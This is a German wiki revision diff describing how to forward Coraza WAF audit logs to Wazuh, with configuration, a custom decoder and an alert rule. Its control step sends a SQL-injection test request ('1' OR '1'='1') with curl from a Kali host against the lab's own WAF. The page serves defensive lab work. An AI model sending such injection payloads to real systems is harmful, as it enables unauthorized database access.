-Das Audit-Log liegt standardmäßig im nativen ModSecurity-Format (Multiline mit Trennern wie ''--aaCuCNaqNi-A--''). Das kann Wazuh nicht sauber parsen. Auf JSON umstellen.
+Die Grundinstallation setzt nur ''SecRuleEngine On''. Coraza blockt damit zwar, protokolliert die Treffer aber nirgends — es existiert weder Logdatei noch Verzeichnis. Ohne Audit-Log hat der Agent nichts zu lesen.
-;In ''/etc/coraza-spoa/coraza-spoa.yaml'' ergänzen
-<pre>
+'''Wichtig:''' Die ''SecAudit''-Direktiven sind SecRules-Anweisungen, keine YAML-Optionen. Sie gehören in den ''directives''-Block der Anwendung und '''hinter''' die Includes, da ''@coraza.conf-recommended'' eigene Audit-Voreinstellungen mitbringt.
 SecAuditLogFormat JSON
-</pre>
+;Zielverzeichnis anlegen
 ;Daemon neu starten
-* systemctl restart coraza-spoa
+<syntaxhighlight lang="bash">
-;Eine Zeile prüfen — muss jetzt mit { beginnen
+systemctl restart coraza-spoa
-* tail -1 /var/log/coraza/audit.log
+systemctl status coraza-spoa --no-pager
 ==== Audit-Log anbinden ====
 ;In ''/var/ossec/etc/ossec.conf'' auf der WAF
-<pre>
+<syntaxhighlight lang="xml">
 <localfile>
    <log_format>json</log_format>
    <location>/var/log/coraza/audit.log</location>
 </localfile>
-</pre>
+</syntaxhighlight>
 ==== Leserechte für den Agent ====
-Der ''wazuh''-User muss das Audit-Log lesen können, sonst werden keine Ereignisse übertragen.
+Der Logcollector läuft als ''root'', Rechte sind daher selten die Ursache. Die folgenden Schritte sind eine Kontrolle für den Fall, dass das Audit-Log gefüllt wird, im SIEM aber nichts ankommt.
 ;Zugriff testen
 * sudo -u wazuh cat /var/log/coraza/audit.log > /dev/null
-;Bei "Permission denied" Gruppe/Rechte setzen
+;Nur bei "Permission denied"
 <syntaxhighlight lang="bash">
 setfacl -m u:wazuh:rx /var/log/coraza/
 setfacl -m u:wazuh:r /var/log/coraza/audit.log
 </syntaxhighlight>
 === Neustarten des Wazuh Agents ===
 *systemctl restart wazuh-agent.service
 ==== Decoder und Regel (auf dem Wazuh-Manager) ====
@@ Zeile 70: / Zeile 101: @@
 ;Decoder in ''/var/ossec/etc/decoders/local-coraza_decoders.xml''
-<pre>
+<syntaxhighlight lang="xml">
 <decoder name="coraza-audit">
    <prematch>^{"transaction":</prematch>
    <plugin_decoder>JSON_Decoder</plugin_decoder>
 </decoder>
-</pre>
+</syntaxhighlight>
 ;Regel in ''/var/ossec/etc/rules/local_rules.xml'' ergänzen
-<pre>
+<syntaxhighlight lang="xml">
 <group name="coraza,waf,">
    <rule id="100100" level="0">
@@ Zeile 91: / Zeile 122: @@
    </rule>
 </group>
-</pre>
+</syntaxhighlight>
 ;Eigentümer und Rechte setzen
 <syntaxhighlight lang="bash">
@@ Zeile 106: / Zeile 140: @@
 ;Angriff von der Kali gegen die WAF
 <syntaxhighlight lang="bash">
-curl "http://waf.it213.xinmen.de/?id=1'+OR+'1'='1"
+curl -k "https://waf.it2XX.xinmen.de/?id=1'+OR+'1'='1"
 </syntaxhighlight>
 ;Im Dashboard
 * Öffne ''Threat Hunting'', Filter ''rule.id:100101''
 * Der Alert "Coraza WAF: Angriff geblockt" muss erscheinen
 [[Kategorie:WAZUH]]
 [[Kategorie:Coraza]]

← Nächstältere Version		Version vom 9. September 2026, 09:15 Uhr
Zeile 1:		Zeile 1:
−	=Wazuh-Anbindung der WAF (Coraza)=	+	*[[Wazuh-Anbindung der WAF (Coraza) Debian]]
−	Die '''WAF''' (HAProxy + Coraza-SPOA) liefert die Abwehr-Telemetrie an das SIEM: welcher Angriff wurde von welcher Regel geblockt. Das ergänzt die VulnSite-Sicht — dort sieht Wazuh den Angriffsversuch im Apache-Log, hier sieht es die '''Abwehr davor'''.	+	*[[Wazuh-Anbindung der WAF (Coraza) Rocky]]
−
−	'''Hinweis:''' Wazuhs eingebaute ModSecurity-Regeln greifen nur auf das Apache-error.log klassischer ModSecurity. Coraza-SPOA schreibt ein eigenes Audit-Log und läuft nicht über Apache — daher binden wir das Coraza-JSON-Audit-Log ein und ergänzen einen eigenen Decoder samt Regel auf dem Manager.
−
−	~~==== Repository einrichten ====~~
−	~~;GPG-Schlüssel importieren~~
−	~~<syntaxhighlight lang="bash">~~
−	~~curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH \| gpg --no-default-keyring --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import~~
−	~~chmod 644 /usr/share/keyrings/wazuh.gpg~~
−	~~</syntaxhighlight>~~
−	~~;Repository hinzufügen~~
−	~~<syntaxhighlight lang="bash">~~
−	~~echo "deb~~ [~~signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" > /etc/apt/sources.list.d/wazuh.list~~
−	~~apt update~~
−	~~</syntaxhighlight>~~
−
−	~~==== Agent installieren ====~~
−	~~;Agent mit Manager-Adresse und Namen installieren~~
−	~~<syntaxhighlight lang="bash">~~
−	~~WAZUH_MANAGER="wazuh.dkbi.com" WAZUH_AGENT_NAME="waf" apt install -y wazuh-agent~~
−	~~</syntaxhighlight>~~
−	~~;Dienst aktivieren und starten~~
−	~~<syntaxhighlight lang="bash">~~
−	~~systemctl daemon-reload~~
−	~~systemctl enable --now wazuh-agent~~
−	~~</syntaxhighlight>~~
−	~~;Repository deaktivieren~~
−	~~<syntaxhighlight lang="bash">~~
−	~~sed -i "s/^deb /#deb /" /etc/apt/sources.list.d/wazuh.list~~
−	~~apt update~~
−	~~</syntaxhighlight>~~
−
−	~~==== Coraza-Audit-Log auf JSON umstellen ====~~
−	~~Das Audit-Log liegt standardmäßig im nativen ModSecurity-Format (Multiline mit Trennern wie ''--aaCuCNaqNi-A--''). Das kann~~ Wazuh ~~nicht sauber parsen. Auf JSON umstellen.~~
−	~~;In ''/etc/coraza~~-~~spoa/coraza-spoa.yaml'' ergänzen~~
−	~~<pre>~~
−	~~SecAuditLogFormat JSON~~
−	~~</pre>~~
−	~~;Daemon neu starten~~
−	* systemctl restart coraza-spoa
−	~~;Eine Zeile prüfen — muss jetzt mit { beginnen~~
−	* tail -1 /var/log/coraza/audit.log
−
−	~~==== Audit-Log anbinden ====~~
−	~~;In ''/var/ossec/etc/ossec.conf'' auf~~ der WAF
−	~~<pre>~~
−	~~<localfile>~~
−	~~<log_format>json</log_format>~~
−	~~<location>/var/log/coraza/audit.log</location>~~
−	~~</localfile>~~
−	~~</pre>~~
−
−	~~==== Leserechte für den Agent ====~~
−	~~Der ''wazuh''-User muss das Audit-Log lesen können, sonst werden keine Ereignisse übertragen.~~
−	~~;Zugriff testen~~
−	* sudo -u wazuh cat /var/log/coraza/audit.log > /dev/null
−	~~;Bei "Permission denied" Gruppe/Rechte setzen~~
−	~~<syntaxhighlight lang="bash">~~
−	~~chmod 640 /var/log/coraza/audit.log~~
−	~~setfacl -m u:wazuh:rx /var/log/coraza/~~
−	~~setfacl -m u:wazuh:r /var/log/coraza/audit.log~~
−	~~</syntaxhighlight>~~
−	~~=== Neustarten des Wazuh Agents ===~~
−	*systemctl restart wazuh-agent.service
−
−	~~==== Decoder und Regel~~ (~~auf dem Wazuh-Manager) ====~~
−	~~Coraza-JSON wird vom generischen JSON-Decoder zerlegt, aber von keiner eingebauten Regel klassifiziert. Beides ergänzen.~~
−
−	~~;Decoder in ''/var/ossec/etc/decoders/local-coraza_decoders.xml''~~
−	~~<pre>~~
−	~~<decoder name="coraza-audit">~~
−	~~<prematch>^{"transaction":</prematch>~~
−	~~<plugin_decoder>JSON_Decoder</plugin_decoder>~~
−	~~</decoder>~~
−	~~</pre>~~
−	~~;Regel in ''/var/ossec/etc/rules/local_rules.xml'' ergänzen~~
−	~~<pre>~~
−	~~<group name="coraza,waf,">~~
−	~~<rule id="100100" level="0">~~
−	~~<decoded_as>json</decoded_as>~~
−	~~<field name="transaction.client_ip">\.+</field>~~
−	~~<description>Coraza WAF Audit-Log.</description>~~
−	~~</rule>~~
−	~~<rule id="100101" level="10">~~
−	~~<if_sid>100100</if_sid>~~
−	~~<field name="transaction.is_interrupted">true</field>~~
−	~~<description>~~Coraza ~~WAF: Angriff geblockt auf $(transaction.request.uri) von $(transaction.client_ip~~)~~.</description>~~
−	~~<group>attack,web,</group>~~
−	~~</rule>~~
−	~~</group>~~
−	~~</pre>~~
−	~~;Eigentümer und Rechte setzen~~
−	~~<syntaxhighlight lang="bash">~~
−	~~chown wazuh:wazuh /var/ossec/etc/decoders/local-coraza_decoders.xml /var/ossec/etc/rules/local_rules.xml~~
−	~~chmod 660 /var/ossec/etc/decoders/local-coraza_decoders.xml /var/ossec/etc/rules/local_rules.xml~~
−	~~</syntaxhighlight>~~
−	~~;Vor dem Neustart mit logtest prüfen — eine echte JSON-Audit-Zeile reinpasten~~
−	* /var/ossec/bin/wazuh-logtest
−	~~Erwartete Ausgabe: ''transaction.is_interrupted: 'true''' in Phase 2 und ''Rule id: '100101''' in Phase 3.~~
−	~~;Erst dann Manager neu starten~~
−	* systemctl restart wazuh-manager
−
−	~~==== Kontrolle ====~~
−	~~;Angriff von der Kali gegen die WAF~~
−	~~<syntaxhighlight lang="bash">~~
−	~~curl "http://waf.it213.xinmen.de/?id=1'+OR+'1'='1"~~
−	~~</syntaxhighlight>~~
−	~~;Im Dashboard~~
−	* Öffne ''Threat Hunting'', Filter ''rule.id:100101''
−	* Der Alert "Coraza WAF: Angriff geblockt" muss erscheinen
−
−	~~[[Kategorie:WAZUH]]~~
−	~~[[Kategorie:Coraza~~]]

← Nächstältere Version		Version vom 8. September 2026, 17:22 Uhr
Zeile 1:		Zeile 1:
	*[[ASUS TUF A17 (FA707NVR) unter Debian 12 Bookworm optimal einrichten]]		*[[ASUS TUF A17 (FA707NVR) unter Debian 12 Bookworm optimal einrichten]]
	*[[Dell]]		*[[Dell]]
		+	*[[Lenovo]]

@@ Zeile 44: / Zeile 44: @@
 * ''realtime="yes"'' liefert den Alert sofort beim Upload, nicht erst beim nächsten Scan
 * ''report_changes="yes"'' zeigt bei Textdateien den Inhalt — bei einer PHP-Shell siehst du den Shell-Code direkt im Alert
 ==== Agent neu starten ====
@@ Zeile 49: / Zeile 61: @@
 systemctl restart wazuh-agent
 </syntaxhighlight>
 ==== Kontrolle ====

@@ Zeile 8: / Zeile 8: @@
 *[[Wazuh Menu Struktur]]
 *[[Wazuh Cheat-Sheet (Manager-Konsole)]]
 *[[Wazuh OPNsense]]
 *[[Wazuh Apache2]]

@@ Zeile 57: / Zeile 57: @@
 ;Kernel liest Platte neu ein.
 *partprobe /dev/sda
 =Benötigte Ports freigeben=